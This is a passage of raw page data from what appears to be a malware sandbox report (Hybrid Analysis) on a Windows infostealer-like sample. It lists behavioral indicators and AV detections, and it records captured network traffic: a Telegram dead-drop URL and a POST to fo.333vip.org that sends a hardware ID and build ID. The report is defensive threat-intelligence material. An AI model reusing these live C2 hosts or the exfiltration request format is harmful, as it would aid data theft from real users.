Table (IAT)","description":"Found string \"ungetc\" (Source: 7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe, API is part of module: MSVCRT.DLL)\n Found string \"remove\" (Source: 7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe, API is part of module: MSVCRT.DLL)\n Found string \"WSAIoctl\" (Source: 7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe, API is part of module: WS2_32.DLL)\n Found string \"GetFileType\" (Source: 7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe, API is part of module: KERNELBASE.DLL)\n Found string \"GetFileInformationByHandle\" (Source: 7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe, API is part of module: KERNELBASE.DLL)\n Found string \"WSAGetOverlappedResult\" (Source: 7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe, API is part of module: WS2_32.DLL)","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" was detected as \"tElock v1.0 (private) -> tE!\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"suspicious","category":"Environment Awareness","name":"May attempt to implement anti-virtualization techniques using MAC address detection","description":"$41","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":3,"id":"string-2","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"suspicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively low confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_60% (D)","origin":"External System","relevance":10,"id":"avtest-9","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"3/24 Antivirus vendors marked sample as malicious (12% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$42","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"suspicious","category":"Network Related","name":"Employs a browser-related User Agent without launching browser","description":"Found User Agent(s): Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 149.154.167.99 on port 443 is sent without HTTP header\n TCP traffic to 104.21.93.196 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - ChaCha20 encryption algorithm","description":"YARA signature for ChaCha20 256-bit key algorithm matched on file \"sample.bin\"\n YARA signature for ChaCha20 128-bit key algorithm matched on file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":9,"id":"yara-44","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – Anomalous PE file structure","description":"YARA signature for invalid Timestamp of PE file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":1,"id":"yara-153","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate process encountered in a system snapshot","description":"$43","origin":"API Call","mitre_attack_id":"T1057","relevance":5,"id":"api-104","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found an instant messenger related domain","description":"\".skype.com1&0\" (Indicator: \"skype.com\")\n \"community-stage.skype.com1\" (Indicator: \"skype.com\")\n \"ent.postMessage(JSON.stringify({eventType:'web_app_open_tg_link',eventData:{path_full:\"\\/bj00tyr\"}}),'https://web.telegram.org');}}catch(e){}\" (Indicator: \"telegram.org\")","origin":"File/Memory","relevance":10,"id":"string-61","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$44","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"GetProcAddress\n GetSystemInfo\n LoadLibraryExW\n VirtualAlloc\n GetSystemDirectoryA\n CreateThread\n CreateFileA\n WriteFile\n LoadLibraryW\n GetThreadContext","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Timestamp in PE header is very old or in the future","description":"\"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" claims program is from Thu Jan 1 00:00:00 1970","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-3","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Collects system information using POST request","description":"\"POST / HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nContent-Type: multipart/form-data; boundary=----b4a9626f7729d42627f7\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0\nContent-Length: 345\nHost: fo.333vip.org\" with payload:==> \"------b4a9626f7729d42627f7Content-Disposition: form-data; name=\"hwid\"23EBD35BE7F8D3C20DA4-d27478a5-2058-D6FD6A8------b4a9626f7729d42627f7Content-Disposition: form-data; name=\"build_id\"b98dd86b169ec45dd28e99dcad12402a------b4a9626f7729d42627f7Content-Disposition: form-data; name=\"format\"json------b4a9626f7729d42627f7--\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]}],"incidents":[{"name":"Spyware","details_count":2,"details":[{"detail":"POSTs data to a web server"},{"detail":"Collects system information using POST request"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"May attempt to implement anti-virtualization techniques using MAC address detection"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]}],"intel_graph":{"map":{"Domain:fo.333vip.org":{"type":"Domain","value":"fo.333vip.org"},"Domain:telegram.me":{"type":"Domain","value":"telegram.me"},"File:7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9":{"type":"File","value":"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9"},"Ip:104.21.93.196":{"type":"Ip","value":"104.21.93.196"},"Ip:149.154.167.99":{"type":"Ip","value":"149.154.167.99"},"Url:/":{"type":"Url","value":"/"},"Url:/bj00tyr":{"type":"Url","value":"/bj00tyr"}},"chains":[{"id":"sandbox_network","root":"File:7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9","edges":[{"edge_kind":"contacted_ip","from_key":"File:7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9","to_key":"Ip:149.154.167.99"},{"edge_kind":"contacted_ip","from_key":"File:7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9","to_key":"Ip:104.21.93.196"},{"edge_kind":"contacted_domain","from_key":"File:7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9","to_key":"Domain:fo.333vip.org"},{"edge_kind":"resolves_to","from_key":"Domain:fo.333vip.org","to_key":"Ip:104.21.93.196"},{"edge_kind":"contacted_domain","from_key":"File:7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9","to_key":"Domain:telegram.me"},{"edge_kind":"resolves_to","from_key":"Domain:telegram.me","to_key":"Ip:149.154.167.99"},{"edge_kind":"contacted_url","from_key":"File:7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9","to_key":"Url:/bj00tyr"},{"edge_kind":"contacted_url","from_key":"File:7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9","to_key":"Url:/"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":0,"imported_dlls_count":54,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":0,"files_deleted_count":0,"registry_keys_created_count":3,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":3,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":2,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":["suspicious"],"sample_flags":["Network Traffic"],"sandbox_reports":[{"id":"6ac5a7da2d893b0f5d01d392","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":77,"malware_family":"WinGo.J.gen","contacted_countries":["NLD"],"submit_name":"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe","analysis_start_time":"2026-10-07T02:01:00+00:00","indicators_count":{"informative":150,"suspicious":30,"malicious":1},"tags":["Network Traffic"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"149.154.167.99","port":443,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"address":"104.21.93.196","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]}],"dns_resolutions":[{"domain":"fo.333vip.org","address":"104.21.93.196","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"domain":"telegram.me","address":"149.154.167.99","ttl":161,"country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]}],"http_requests":[{"host":"telegram.me","host_ip":"149.154.167.99:443","url":"/bj00tyr","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /bj00tyr HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0\nHost: telegram.me","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"host":"fo.333vip.org","host_ip":"104.21.93.196:443","url":"/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST / HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nContent-Type: multipart/form-data; boundary=----b4a9626f7729d42627f7\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0\nContent-Length: 345\nHost: fo.333vip.org","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}],"processes":[{"pid":7980,"ppid":0,"name":"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe","command_line":"","sha256":"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9","normalized_path":"C:\\7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe","uid":"00000000-00007980","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAA6UgIhRBPKvFtlTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50refsbU/OstCIAAAAASUVORK5CYII="}],"all_imported_dlls":["OnDemandConnRouteHelper.dll","mswsock.dll","gpapi.dll","winmm.dll","advapi32.dll","ws2_32.dll","win32u.dll","gdi32full.dll","vcruntime140_1.dll","bcrypt.dll","sspicli.dll","FWPUCLNT.DLL","ncrypt.dll","kernel32.dll","rpcrt4.dll","sechost.dll","shlwapi.dll","winmmbase.dll","IPHLPAPI.DLL","rasadhlp.dll","rsaenh.dll","VxSSL64.dll","ucrtbase.dll","gdi32.dll","vcruntime140.dll","combase.dll","ole32.dll","powrprof.dll","winnsi.dll","KernelBase.dll","apphelp.dll","user32.dll","msvcp_win.dll","imm32.dll","bcryptprimitives.dll","msvcrt.dll","cryptsp.dll","ntdll.dll","msvcp140.dll","oleaut32.dll","schannel.dll","msasn1.dll","ntasn1.dll","dpapi.dll","fltLib.dll","webio.dll","nsi.dll","dnsapi.dll","crypt32.dll","mskeyprotect.dll","ncryptsslp.dll","cryptbase.dll","cfgmgr32.dll","winhttp.dll"]},"file_activity":{"dropped_files":null,"extracted_files":null,"files_written":null,"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":null}},"report_ids":{"sandbox_job_ids":["6ac5a7da2d893b0f5d01d392"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Win/malicious_confidence_60% Sample 7ffa8ceaba69… — Score 77/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 7ffa8ceaba69…. Malware family: Win/malicious_confidence_60%. Threat score 77/100. 4/25 AV engines flagged this file. 1 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9"}],["$","meta","4",{"property":"og:title","content":"Malicious Win/malicious_confidence_60% Sample 7ffa8ceaba69… — Score 77/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 7ffa8ceaba69…. Malware family: Win/malicious_confidence_60%. Threat score 77/100. 4/25 AV engines flagged this file. 1 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Win/malicious_confidence_60% Sample 7ffa8ceaba69… — Score 77/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 7ffa8ceaba69…. Malware family: Win/malicious_confidence_60%. Threat score 77/100. 4/25 AV engines flagged this file. 1 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L45","11",{}]]